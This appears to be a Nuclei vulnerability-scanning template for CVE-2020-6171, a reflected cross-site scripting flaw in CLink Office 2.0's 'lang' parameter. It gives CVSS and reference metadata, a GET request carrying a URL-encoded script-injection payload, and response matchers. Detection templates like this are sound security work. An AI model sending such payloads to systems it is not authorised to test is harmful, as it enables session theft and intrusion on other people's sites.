CLink Office 2.0 - Cross-Site Scripting

id: CVE-2020-6171

info:
  name: CLink Office 2.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    CLink Office 2.0 is vulnerable to cross-site scripting in the index page of the management console and allows remote attackers to inject arbitrary web script or HTML via the lang parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://www.deepcode.ca/index.php/2020/04/07/cve-2020-xss-in-clink-office-v2/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6171
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-6171
    cwe-id: CWE-79
    epss-score: 0.04798
    epss-percentile: 0.90874
    cpe: cpe:2.3:a:communilink:clink_office:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: communilink
    product: clink_office
  tags: cve,cve2020,xss,clink-office,communilink,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}?lang=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&p=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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